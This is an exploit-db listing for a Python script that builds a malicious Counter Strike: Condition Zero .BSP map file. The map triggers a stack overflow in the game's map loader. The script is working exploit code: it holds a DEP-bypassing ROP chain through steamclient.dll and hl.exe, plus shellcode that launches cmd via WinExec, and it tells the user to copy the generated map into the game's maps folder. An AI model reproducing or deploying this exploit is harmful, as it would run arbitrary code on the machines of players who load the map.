Counter Strike: Condition Zero – ‘.BSP’ Map File Code Execution

  • 作者: Grant Hernandez
    日期: 2017-07-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42325/
  • #!/usr/bin/env python
    # Counter Strike: Condition Zero BSP map exploit
    #By @Digital_Cold Jun 11, 2017
    #
    # E-DB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42325.zip (bsp-exploit-source.zip)
    # 
    from binascii import hexlify, unhexlify
    from struct import pack, unpack
    import math
    import mmap
    import logging
    
    fmt = "[+] %(message)s"
    
    logging.basicConfig(level=logging.INFO, format=fmt)
    l = logging.getLogger("exploit")
    
    # Specific to the file
    INDEX_BUFFER_OFF = 0x92ee0# ARRAY[int]
    VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short]
    VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float]
    NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash
    
    # No longer used as could not find a gadget to 'pop, pop, pop esp, ret'
    # SEH_OVERWRITE_OFF = 0x4126C
    
    # Initial offset into the index buffer where the function to exploit resides
    INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already
    
    # INDEX_BUFFER
    # 0: 20
    # 1: 10
    # 2: 2 --> Vertex Buffer Indexes
    
    # VERTEX BUFFER INDEXES
    # 0: 1
    # 1: 2
    # 2: 4 --> Vertex Data
    
    # VERTEX DATA
    # 0: 1.23, 23423.0, 3453.3
    # 1: 1.23, -9.0, 3453.3
    # 2: 1.0, 1.0, 1.0
    # 3: 1.0, 1.0, 1.0
    # 4: 0.0, 1.0, 0.0
    
    # Example:
    # a = INDEX_BUFFER[2] ; a = 2
    # b = VERTEX_BUFFER[a] ; b = 4
    # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0
    
    def dw(x):
    return pack("I", x)
    
    def main():
    target_file = "eip-minimized.bsp"
    output_file = "exploit-gen.bsp"
    
    print "GoldSource .BSP file corruptor"
    print "by @Digital_Cold"
    print
    
    l.info("Corrupting target file %s" % target_file)
    
    # Read in and memory map target file
    fp = open(target_file, 'rb')
    mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY)
    fp.close()
    
    VEC3_COUNT = 63
    # then come Saved EBP and return address
    
    start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET
    second_idx = VERTEX_BUFFER_INDEXES_OFF
    vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults
    
    l.info("Writing to index buffer offset %08x...", start_idx)
    l.info("Vertex buffer indexes start %08x", second_idx)
    l.info("Vertex data at %08x", vertex_data_start)
    
    data_buffer = []
    
    for i in range(VEC3_COUNT):
    for j in range(3):
    data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory
    
    data_buffer.append("\x00\x00\x00\x00") # dont care
    data_buffer.append("\x00\x00\x00\x00") # unk1
    data_buffer.append("\x00\x00\x00\x00") # unk2
    
    data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call)
    data_buffer.append("\x00\x00\x00\x00") # EBP
    data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe]
    
    # XXX: bug in mona. This is a ptr to VirtualProtectEx!!
    # 0x387e01ec,# ptr to &VirtualProtect() [IAT steamclient.dll]
    
    """
     Register setup for VirtualAlloc() :
     --------------------------------------------
    EAX = NOP (0x90909090)
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = ReturnTo (ptr to jmp esp)
    ESI = ptr to VirtualAlloc()
    EDI = ROP NOP (RETN)
    --- alternative chain ---
    EAX = ptr to &VirtualAlloc()
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = POP (skip 4 bytes)
    ESI = ptr to JMP [EAX]
    EDI = ROP NOP (RETN)
    + place ptr to "jmp esp" on stack, below PUSHAD
     --------------------------------------------
    """
    
    # START ROP CHAIN
    # DEP disable ROP chain
    # rop chain generated with mona.py - www.corelan.be
    #
    # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio
    rop_gadgets = [
    #0x3808A308,# INT3 # RETN [steamclient.dll]
    0x38420ade,# POP EDX # RETN [steamclient.dll]
    0x387e01e8,# ptr to &VirtualAlloc() [IAT steamclient.dll]
    0x381236c5,# MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll]
    0x381ebdc1,# POP EBP # RETN [steamclient.dll]
    0x381f98cd,# & jmp esp [steamclient.dll]
    0x387885ac,# POP EBX # RETN [steamclient.dll]
    0x00000001,# 0x00000001-> ebx
    0x384251c9,# POP EDX # RETN [steamclient.dll]
    0x00001000,# 0x00001000-> edx
    0x387cd449,# POP ECX # RETN [steamclient.dll]
    0x00000040,# 0x00000040-> ecx
    0x386c57fe,# POP EDI # RETN [steamclient.dll]
    0x385ca688,# RETN (ROP NOP) [steamclient.dll]
    0x0140b00e,# POP EAX # RETN [hl.exe]
    0x90909090,# nop
    0x385c0d3e,# PUSHAD # RETN [steamclient.dll]
    ]
    
    
    # Can be replaced with ANY shellcode desired...
    # http://shell-storm.org/shellcode/files/shellcode-662.php
    shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \
    "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \
    "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \
    "\x24\x20\x57\xFF\xD0"
    
    shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash)
    shellcode += "\xeb\xfe"
    shellcode += "\xeb\xfe"
    shellcode += "\xeb\xfe"
    shellcode += "\xeb\xfe"
    
    shellcode_dwords = int(math.ceil(len(shellcode)/4.0))
    extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0))
    
    # Loop count (needs to be the exact amount of ROP we want to write
    data_buffer.append(dw(extra_dwords))
    
    for addr in rop_gadgets:
    data_buffer.append(dw(addr))
    
    for b in range(shellcode_dwords):
    data = ""
    
    for byte in range(4):
    idx = byte + b*4
    
    # pad to nearest DWORD with INT3
    if idx >= len(shellcode):
    data += "\xcc"
    else:
    data += shellcode[idx]
    
    data_buffer.append(data)
    
    second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes
    
    # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before
    # we can exploit the function
    
    # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW
    #mmfile[NUM_EDGES_OFF] = pack("B", 0x41)
    
    for i in range(int(math.ceil(len(data_buffer)/3.0))):
    mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i)
    mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i)
    
    second_idx += 2 # required because the game loads every-other word
    
    # This data will now be on the stack
    for j in range(3):
    sub_idx = j*4 + i*0xc
    data_idx = i*3 + j
    towrite = ""
    
    if data_idx >= len(data_buffer):
    towrite = "\x00"*4
    else:
    towrite = data_buffer[i*3 + j]
    
    mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite
    #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx))
    
    # write out the corrupted file
    outfile = open(output_file, "wb")
    outfile.write(mmfile)
    outfile.close()
    
    l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file))
    l.info("Copy to game maps/ directory!")
    
    if __name__ == "__main__":
    main()